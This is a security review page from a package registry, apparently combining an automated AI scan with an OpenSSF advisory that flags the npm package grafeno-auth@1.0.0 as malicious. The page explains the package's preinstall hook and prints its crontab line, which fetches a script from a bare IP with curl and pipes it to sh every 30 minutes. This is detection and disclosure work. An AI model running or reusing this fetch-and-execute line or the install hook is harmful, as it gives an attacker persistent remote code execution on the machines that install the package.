registry / grafeno-auth / 1.0.0

grafeno-auth@1.0.0

Auth module for Grafeno

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Installing the package automatically executes an unpinned remote shell payload. It also persists repeated execution through the user's cron table.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm preinstall during package installation.

Impact

An attacker controlling the remote host can run arbitrary commands on the installing machine and retain recurring execution.

Mechanism

Remote shell execution followed by cron persistence.

Attack narrative

The preinstall lifecycle hook invokes curl for a script hosted at 216.126.236.46 and pipes the response into a shell. It then edits the current user's crontab to execute that same remote script every 30 minutes. Both actions occur without a user command beyond installation and suppress errors, enabling remote code execution and persistence.

Rationale

Source inspection confirms an automatic install hook that fetches and executes a remote payload, then establishes cron persistence. This is concrete malicious install-hook abuse.

Evidence

package.jsonindex.js

Network endpoints1

216.126.236.46/x.sh

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-15502

Source

OpenSSF Malicious Packages via OSV

package.json declares a preinstall hook that shells out via node -e / child_process to curl http://216.126.236.46/x.sh over plain HTTP and pipes the response to sh, then appends a crontab entry ('*/30 * * * * curl -s 216.126.236.46/x.sh|sh') that re-fetches and re-executes the same URL every 30 minutes. The shipped index.js is an inert stub exporting a no-op login function, so the manifest's lifecycle hook is the package's only real behavior. Running npm install executes attacker-controlled code from a bare-IP HTTP endpoint on the installer's host and establishes persistent remote code delivery via cron; the payload at that URL is mutable by the operator of the IP. ## Source: ossf-package-analysis (99cc2c553314bb426724c65f313119212461879d87e65dd3488c32cfcd98d0be) The OpenSSF Package Analysis project identified 'grafeno-auth' @ 1.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

grafeno-auth@1.0.0

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code